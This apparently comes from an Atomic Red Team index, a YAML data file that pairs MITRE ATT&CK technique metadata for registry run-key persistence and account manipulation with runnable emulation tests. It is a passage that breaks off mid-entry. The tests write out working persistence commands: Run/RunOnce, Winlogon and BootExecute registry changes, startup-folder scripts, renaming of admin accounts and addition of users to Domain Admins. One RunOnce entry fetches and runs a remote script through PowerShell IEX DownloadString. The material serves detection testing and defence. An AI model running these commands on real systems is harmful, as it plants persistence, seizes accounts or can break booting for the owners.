      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      - Dray Agha, @Purp1eW0lf, Huntress Labs
      - Harun Küßner
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

        Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279
      created: '2020-01-23T22:02:48.566Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/001
        external_id: T1547.001
      - source_name: Malwarebytes Wow6432Node 2016
        description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved
          August 3, 2020.
        url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
      - source_name: Microsoft Wow6432Node 2018
        description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data
          in the Registry. Retrieved August 3, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
      - source_name: Microsoft Run Key
        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
          12, 2014.
        url: http://msdn.microsoft.com/en-us/library/aa376977
      - source_name: Oddvar Moe RunOnceEx Mar 2018
        description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
          from Autoruns.exe. Retrieved June 29, 2018.
        url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.001
    atomic_tests:
    - name: Reg Key Run
      auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05
      description: "Run Key Persistence\n\nUpon successful execution, cmd.exe will
        modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output
        will be via stdout. \n"
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Thing to Run
          type: path
          default: C:\Path\AtomicRedTeam.exe
      executor:
        command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V
          "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"

          '
        cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
          /V "Atomic Red Team" /f >nul 2>&1

          '
        name: command_prompt
    - name: Reg Key RunOnce
      auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb
      description: "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe
        will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will
        be via stdout. \n"
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: path
          default: C:\Path\AtomicRedTeam.dll
      executor:
        command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
          /v 1 /d "#{thing_to_execute}"

          '
        cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
          /v 1 /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: PowerShell Registry RunOnce
      auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42
      description: |
        RunOnce Key Persistence via PowerShell
        Upon successful execution, a new entry will be added to the runonce item in the registry.
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: path
          default: powershell.exe
        reg_key_path:
          description: Path to registry key to update
          type: path
          default: HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce
      executor:
        command: |
          $RunOnceKey = "#{reg_key_path}"
          set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'
        cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun"
          -Force -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Suspicious vbs file run from startup Folder
      auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5
      description: "vbs files can be placed in and ran from the startup folder to
        maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will
        be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start
        Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted
        and the user logs in.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
          cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
          cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Suspicious jse file run from startup Folder
      auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06
      description: "jse files can be placed in and ran from the startup folder to
        maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will
        be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start
        Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted
        and the user logs in.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
          cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
          cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Suspicious bat file run from startup Folder
      auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e
      description: |
        bat files can be placed in and executed from the startup folder to maintain persistance

        Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
        folder and will also run when the computer is restarted and the user logs in.
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
          Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
          Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Add Executable Shortcut Link to User Startup Folder
      auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d
      description: 'Adds a non-malicious executable shortcut link to the current users
        startup directory. Test can be verified by going to the users startup directory
        and checking if the shortcut link exists. '
      supported_platforms:
      - windows
      executor:
        command: "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation
          = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell
          = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath
          = $Target\n$Create.Save()      "
        cleanup_command: Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start
          Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Add persistance via Recycle bin
      auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f
      description: |
        Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)
        User have to clic on the recycle bin to lauch the payload (here calc)
      supported_platforms:
      - windows
      executor:
        command: reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command"
          /ve /d "calc.exe" /f
        cleanup_command: reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open"
          /f
        name: command_prompt
    - name: SystemBC Malware-as-a-Service Registry
      auto_generated_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891
      description: |
        This Atomic will create a registry key called socks5_powershell for persistance access
        https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c
      supported_platforms:
      - windows
      input_arguments:
        reg_key_value:
          description: Thing to Run
          type: path
          default: powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File
        reg_key_path:
          description: Path to registry key to update
          type: path
          default: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
      executor:
        command: |
          $RunKey = "#{reg_key_path}"
          Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"
        cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell"
          -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Change Startup Folder - HKLM Modify User Shell Folders Common Startup
        Value
      auto_generated_guid: acfef903-7662-447e-a391-9c91c2f00f7b
      description: "This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User
        Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder
        where a payload could be stored to launch at boot.  *successful execution
        requires system restart\n"
      supported_platforms:
      - windows
      input_arguments:
        new_startup_folder:
          description: new startup folder to replace standard one
          type: string
          default: "$env:TMP\\atomictest\\"
        payload:
          description: 'executable to be placed in new startup location '
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          New-Item -ItemType Directory -path "#{new_startup_folder}"
          Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
          Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}"
        cleanup_command: |
          Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
          Remove-Item "#{new_startup_folder}" -Recurse -Force
        name: powershell
        elevation_required: true
    - name: Change Startup Folder - HKCU Modify User Shell Folders Startup Value
      auto_generated_guid: 8834b65a-f808-4ece-ad7e-2acdf647aafa
      description: "This test will modify the HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User
        Shell Folders  -V \"Startup\" value \nto point to a new startup folder where
        a payload could be stored to launch at boot.  *successful execution requires
        system restart\n"
      supported_platforms:
      - windows
      input_arguments:
        new_startup_folder:
          description: new startup folder to replace standard one
          type: string
          default: "$env:TMP\\atomictest\\"
        payload:
          description: 'executable to be placed in new startup location '
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          New-Item -ItemType Directory -path "#{new_startup_folder}"
          Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
          Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}"
        cleanup_command: |
          Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
          Remove-Item "#{new_startup_folder}" -Recurse -Force
        name: powershell
    - name: HKCU - Policy Settings Explorer Run Key
      auto_generated_guid: a70faea1-e206-4f6f-8d9a-67379be8f6f1
      description: "This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
        to launch calc.exe on boot. \n*Requires reboot\n"
      supported_platforms:
      - windows
      input_arguments:
        target_key_value_name:
          description: registry value to crate on target key
          type: string
          default: atomictest
        payload:
          description: payload to execute
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
            New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
          }
          Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
        cleanup_command: Remove-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
          -Name "#{target_key_value_name}"
        name: powershell
        elevation_required: true
    - name: HKLM - Policy Settings Explorer Run Key
      auto_generated_guid: b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f
      description: "This test will create a HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
        key value to launch calc.exe on boot. \n*Requires reboot\n"
      supported_platforms:
      - windows
      input_arguments:
        target_key_value_name:
          description: registry value to crate on target key
          type: string
          default: atomictest
        payload:
          description: payload to execute
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
            New-Item -ItemType Key -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
          }
          Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
        cleanup_command: Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
          -Name "#{target_key_value_name}"
        name: powershell
        elevation_required: true
    - name: HKLM - Append Command to Winlogon Userinit KEY Value
      auto_generated_guid: f7fab6cc-8ece-4ca7-a0f1-30a22fccd374
      description: |
        This test will append a command to the  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.
        * Requires reboot
      supported_platforms:
      - windows
      input_arguments:
        payload:
          description: what to run
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit");
          Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue";
          $newvalue = $oldvalue + " #{payload}";
          Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"
        cleanup_command: |-
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup');
          Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue";
          Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'
        name: powershell
        elevation_required: true
    - name: 'HKLM - Modify default System Shell - Winlogon Shell KEY Value '
      auto_generated_guid: 1d958c61-09c6-4d9e-b26b-4130314e520e
      description: "This test change the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\Shell from \"explorer.exe\" to the full path
        of \"C:\\Windows\\explorer.exe\" \nto log a change to the key's default value
        without breaking boot sequence. \nAn atacker will alternatively replace this
        with a custom shell. \n"
      supported_platforms:
      - windows
      input_arguments:
        payload:
          description: what to run
          type: string
          default: C:\Windows\explorer.exe
      executor:
        command: |
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell");
          Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue";
          $newvalue = $oldvalue + ", #{payload}";
          Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"
        cleanup_command: |-
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup');
          Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue";
          Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'
        name: powershell
        elevation_required: true
    - name: secedit used to create a Run key in the HKLM Hive
      auto_generated_guid: 14fdc3f1-6fc3-4556-8d36-aa89d9d42d02
      description: |
        secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.
        [Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
      supported_platforms:
      - windows
      input_arguments:
        ini_file:
          description: INI config template
          type: string
          default: "$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini"
        secedit_db:
          description: Custom secedit db
          type: string
          default: mytemplate.db
      executor:
        command: |
          secedit /import /db #{secedit_db} /cfg "#{ini_file}"
          secedit /configure /db #{secedit_db}
        cleanup_command: REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
          /V "calc" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Modify BootExecute Value
      auto_generated_guid: befc2b40-d487-4a5a-8813-c11085fb5672
      description: "This test modifies the BootExecute registry value to \"autocheck
        autoche *\", which can be used to simulate an adversary's attempt to tamper
        with the system's boot process. \nReference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf\nNOTE
        that by not saving the correct value, you may inhibit your system from booting
        properly. Only run on a test system. There is a reg export before running
        the Atomic.\n"
      supported_platforms:
      - windows
      input_arguments:
        registry_value:
          description: Registry value to set
          type: string
          default: autocheck autoche *
      executor:
        command: |
          if (!(Test-Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y }
          Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString
        cleanup_command: |
          reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"
          Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force
        name: powershell
        elevation_required: true
    - name: Allowing custom application to execute during new RDP logon session
      auto_generated_guid: b051b3c0-66e7-4a81-916d-e6383bd3a669
      description: |
        When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry
        By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP
      supported_platforms:
      - windows
      input_arguments:
        malicious_app:
          description: Application to be executed during successful RDP session
          type: string
          default: calc
      executor:
        command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd"
          /v StartupPrograms /t REG_SZ /d "#{malicious_app}"

          '
        cleanup_command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd"
          /v StartupPrograms /t REG_SZ /d "rdpclip"
        name: command_prompt
        elevation_required: true
    - name: Creating Boot Verification Program Key for application execution during
        successful boot
      auto_generated_guid: 6e1666d5-3f2b-4b9a-80aa-f011322380d4
      description: |
        Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor
        can abuse by creating this registry key and providing a malicious application to be executed during successful boot
      supported_platforms:
      - windows
      input_arguments:
        malicious_file:
          description: Application to be executed during successful boot
          type: string
          default: C:\Program Files\Internet Explorer\iexplore.exe
      executor:
        command: 'reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram
          /v ImagePath /t REG_SZ /d "#{malicious_file}"

          '
        cleanup_command: reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram
        name: command_prompt
        elevation_required: true
  T1098:
    technique:
      modified: '2024-01-16T22:24:38.234Z'
      name: Account Manipulation
      description: "Adversaries may manipulate accounts to maintain and/or elevate
        access to victim systems. Account manipulation may consist of any action that
        preserves or modifies adversary access to a compromised account, such as modifying
        credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These
        actions could also include account activity designed to subvert security policies,
        such as performing iterative password updates to bypass password duration
        policies and preserve the life of compromised credentials. \n\nIn order to
        create or manipulate accounts, the adversary must already have sufficient
        permissions on systems or the domain. However, account manipulation may also
        lead to privilege escalation where modifications grant access to additional
        roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      - Praetorian
      - Tim MalcomVetter
      - Wojciech Lesicki
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)

        Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.

        Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - SaaS
      - Network
      - Containers
      x_mitre_version: '2.6'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'File: File Modification'
      - 'Group: Group Modification'
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27
      created: '2017-05-31T21:31:12.196Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098
        external_id: T1098
      - source_name: FireEye SMOKEDHAM June 2021
        description: FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s
          Supply Chain Software Compromise. Retrieved September 22, 2021.
        url: https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
      - source_name: Microsoft Security Event 4670
        description: Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670.
          Retrieved November 4, 2019.
        url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670
      - source_name: Microsoft User Modified Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account
          was changed. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
      - source_name: InsiderThreat ChangeNTLM July 2017
        description: Warren, J. (2017, July 11). Manipulating User Passwords with
          Mimikatz. Retrieved December 4, 2017.
        url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
      - source_name: GitHub Mimikatz Issue 92 June 2017
        description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm
          work, but generate Windows events #92. Retrieved December 4, 2017.'
        url: https://github.com/gentilkiwi/mimikatz/issues/92
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098
    atomic_tests:
    - name: Admin Account Manipulate
      auto_generated_guid: 5598f7cb-cf43-455e-883a-f6008c5d46af
      description: 'Manipulate Admin Account Name

        '
      supported_platforms:
      - windows
      executor:
        command: |
          $x = Get-Random -Minimum 2 -Maximum 9999
          $y = Get-Random -Minimum 2 -Maximum 9999
          $z = Get-Random -Minimum 2 -Maximum 9999
          $w = Get-Random -Minimum 2 -Maximum 9999
          Write-Host HaHa_$x$y$z

          $fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

          foreach($member in $fmm) {
              if($member -like "*Administrator*") {
                  $account = $member.Name.Split("\")[-1] # strip computername\
                  $originalDescription = (Get-LocalUser -Name $account).Description
                  Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
                  Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
                  Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
                  }
              }
        cleanup_command: |
          $list = Get-LocalUser |?{$_.Description -like "atr:*"}
          foreach($u in $list) {
            $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)"
            Set-LocalUser -Name $u.Name -Description $Matches.Description
            Rename-LocalUser -Name $u.Name -NewName $Matches.Name
            Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME
          }
        name: powershell
        elevation_required: true
    - name: Domain Account and Group Manipulate
      auto_generated_guid: a55a22e9-a3d3-42ce-bd48-2653adb8f7a9
      description: "Create a random atr-nnnnnnnn account and add it to a domain group
        (by default, Domain Admins). \n\nThe quickest way to run it is against a domain
        controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,\nyou need
        to install PS Module ActiveDirectory (in prereqs) and run the script with
        appropriare AD privileges to \ncreate the user and alter the group. Automatic
        installation of the dependency requires an elevated session, \nand is unlikely
        to work with Powershell Core (untested).\n\nIf you consider running this test
        against a production Active Directory, the good practise is to create a dedicated\nservice
        account whose delegation is given onto a dedicated OU for user creation and
        deletion, as well as delegated\nas group manager of the target group.\n\nExample:
        `Invoke-AtomicTest -Session $session 'T1098' -TestNames \"Domain Account and
        Group Manipulate\" -InputArgs @{\"group\" = \"DNSAdmins\" }`\n"
      supported_platforms:
      - windows
      input_arguments:
        account_prefix:
          description: |
            Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on
            a match `(&(samaccountname=#{account_prefix}-*)(givenName=Test))`, if you are to change it, be careful.
          type: string
          default: atr-
        group:
          description: Name of the group to alter
          type: string
          default: Domain Admins
        create_args:
          description: Additional string appended to New-ADUser call
          type: string
          default: ''
      dependencies:
      - description: 'PS Module ActiveDirectory

          '
